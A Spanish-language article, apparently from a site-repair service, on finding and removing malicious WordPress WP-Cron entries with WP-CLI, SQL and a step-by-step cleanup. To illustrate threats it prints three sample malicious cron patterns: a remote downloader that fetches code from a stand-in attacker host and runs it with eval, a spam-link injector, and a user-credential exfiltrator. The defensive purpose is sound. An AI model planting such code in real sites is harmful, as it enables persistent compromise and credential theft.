Por qué los atacantes aman WP-Cron
WordPress tiene su propio sistema pseudo-cron: cada vez que alguien visita tu sitio, WordPress revisa si alguna tarea programada está vencida y la ejecuta. Los atacantes aman esto porque:
- No se necesita interacción de usuario — cada visitante dispara el malware sin saberlo
- Corre como el usuario del servidor web — tiene acceso de escritura al filesystem
- Oculto a los admins — la mayoría de admins nunca mira la lista de cron
- Persistencia fácil — incluso si limpias archivos, el cron re-crea el backdoor
Este artículo es el playbook para encontrar y matar entradas WP-Cron maliciosas.
Cómo se ve una entrada cron maliciosa
Una entrada cron normal de WordPress:
hourly: wp_version_check
hourly: wp_update_plugins
hourly: wp_update_themes
twicedaily: wp_scheduled_delete
daily: wp_scheduled_auto_draft_deleteUna maliciosa usualmente:
- Tiene un nombre genérico como
wp_remote_get,wp_initial_check,wp_validate - Corre en un intervalo inusual como
5mino15min - Está registrada por un archivo que no reconoces
- Dispara una función cuyo código incluye
eval,base64_decodeo llamadas HTTP a dominios sospechosos
Detección con WP-CLI
WP-CLI lo hace fácil:
cd /var/www/yoursite
# Lista todos los eventos programados
wp cron event list
# Busca nombres de hook inusuales
wp cron event list --field=hook | sort -uCruza los nombres de hooks contra el código fuente. Para cada hook sospechoso, encuentra qué archivo lo registra:
grep -rE "add_action\s*\(\s*['"]suspicious_hook_name['"]" wp-content/Si el archivo que registra es un plugin conocido, el hook es legítimo. Si es un archivo PHP aleatorio en mu-plugins/ o un archivo en uploads/, es malicioso.
Detección vía la base de datos
Si WP-CLI no está disponible, consulta los datos cron directamente:
SELECT option_value FROM wp_options WHERE option_name = 'cron';El resultado es un array PHP serializado. Para hacerlo legible:
wp option get cron --format=json | python3 -m json.toolBusca: - Nombres de hook que no coinciden con nada legítimo - Intervalos de schedule no en tu config normal de cron - Entradas con timestamps lejos en el futuro (el malware se programa para más tarde)
Patrones comunes de cron malicioso
Patrones que hemos visto en 2025-2026:
Patrón 1 — Downloader auto-replicante
// Oculto en mu-plugins/wp-update.php
add_action('init', function() {
if (!wp_next_scheduled('wp_remote_update_check')) {
wp_schedule_event(time(), 'hourly', 'wp_remote_update_check');
}
});
add_action('wp_remote_update_check', function() {
$code = @file_get_contents('http://attacker.com/payload.php');
eval(base64_decode($code));
});Este cron busca código de payload nuevo cada hora de un servidor remoto. Incluso si limpias el malware, el cron lo re-descarga.
Patrón 2 — Inyector SEO de base de datos
add_action('wp_seo_inject', function() {
global $wpdb;
$wpdb->query("UPDATE wp_posts SET post_content = CONCAT(post_content, '<hidden viagra links>') WHERE ID = (SELECT id FROM (SELECT id FROM wp_posts ORDER BY RAND() LIMIT 1) p)");
});Añade enlaces spam a un post aleatorio cada 5 minutos. Incluso si limpias todos los posts, más se contaminan.
Patrón 3 — Exfiltrador de credenciales
add_action('wp_users_check', function() {
global $wpdb;
$users = $wpdb->get_results("SELECT user_login, user_pass, user_email FROM wp_users");
wp_remote_post('http://attacker.com/collect.php', ['body' => serialize($users)]);
});Envía datos de usuarios al atacante diariamente. Las credenciales están hasheadas pero aún útiles para credential stuffing.
Procedimiento de eliminación
Paso 1 — Deshabilita WP-Cron temporalmente
En wp-config.php:
define('DISABLE_WP_CRON', true);Esto previene que el cron malicioso dispare mientras investigas.
Paso 2 — Identifica los hooks maliciosos
wp cron event list --format=tableAnota todos los hooks que no coinciden con plugins conocidos.
Paso 3 — Des-programa los hooks maliciosos
wp cron event delete <hook_name>
# repite para cada hook maliciosoPaso 4 — Encuentra y borra el código que registra
# Para cada hook sospechoso, encuentra qué lo registra
grep -rE "add_action\s*\(\s*['"]<hook>['"]" wp-content/Borra esos archivos. Si un archivo está en wp-content/mu-plugins/, borrarlo remueve el registro.
Paso 5 — Limpia la tabla cron
DELETE FROM wp_options WHERE option_name = 'cron';Esto borra todo el schedule cron. WordPress regenerará sus propias entradas legítimas en la siguiente page load.
Paso 6 — Re-habilita cron
Remueve o cambia DISABLE_WP_CRON a false en wp-config.php.
Paso 7 — Verifica que cron normal se repuebla
wp cron event list --format=tableDeberías ver solo hooks legítimos (wp_version_check, wp_update_plugins, etc.). Si uno malicioso reaparece, te perdiste un archivo de registro.
Por qué el cron del servidor es mejor que WP-Cron
El pseudo-cron de WordPress tiene problemas de seguridad y confiabilidad. Mejor práctica:
Deshabilita WP-Cron
// wp-config.php
define('DISABLE_WP_CRON', true);Añade una entrada cron real
crontab -e
# Añade:
*/5 * * * * cd /var/www/yoursite && wp cron event run --due-now > /dev/null 2>&1Esto corre WP-Cron desde un scheduler a nivel servidor cada 5 minutos. Beneficios:
- Timing de ejecución predecible
- No depende de tráfico de visitantes
- Logueado centralmente con otros cron jobs del sistema
- Más fácil de monitorear
Para entradas cron maliciosas que se registraron a sí mismas, el cron del servidor solo no arregla el problema — aún necesitas borrar el registro. Pero hace el sistema más difícil de abusar yendo hacia adelante.
Prevención
Tras la limpieza:
- Audita
wp cron event listsemanalmente - Monitoreo de integridad de archivos en
wp-content/mu-plugins/ - Reglas WAF para bloquear intentos de exploit conocidos
- Actualizaciones de plugins dentro de 7 días de release de seguridad
- Suscripción Patchstack para alertas tempranas de CVE
Errores comunes durante limpieza de cron
- Solo borrar el archivo — sin des-programar el hook, la tabla cron aún tiene la entrada
- Solo borrar la entrada cron — sin remover el archivo, el registro re-crea la entrada
- Confiar en el output de "wp cron event list" — algún malware se esconde de WP-CLI; consulta la base de datos directamente
Cuándo llamar a un especialista
Las entradas cron maliciosas usualmente indican una infección más profunda. El cron es un mecanismo de persistencia para malware que vive en otro lugar. No solo removemos el cron — rastreamos la infección de vuelta al vector de entrada y la cerramos.
Limpieza de cron malicioso en horas. Para malware más amplio ve reparación de sitio hackeado.

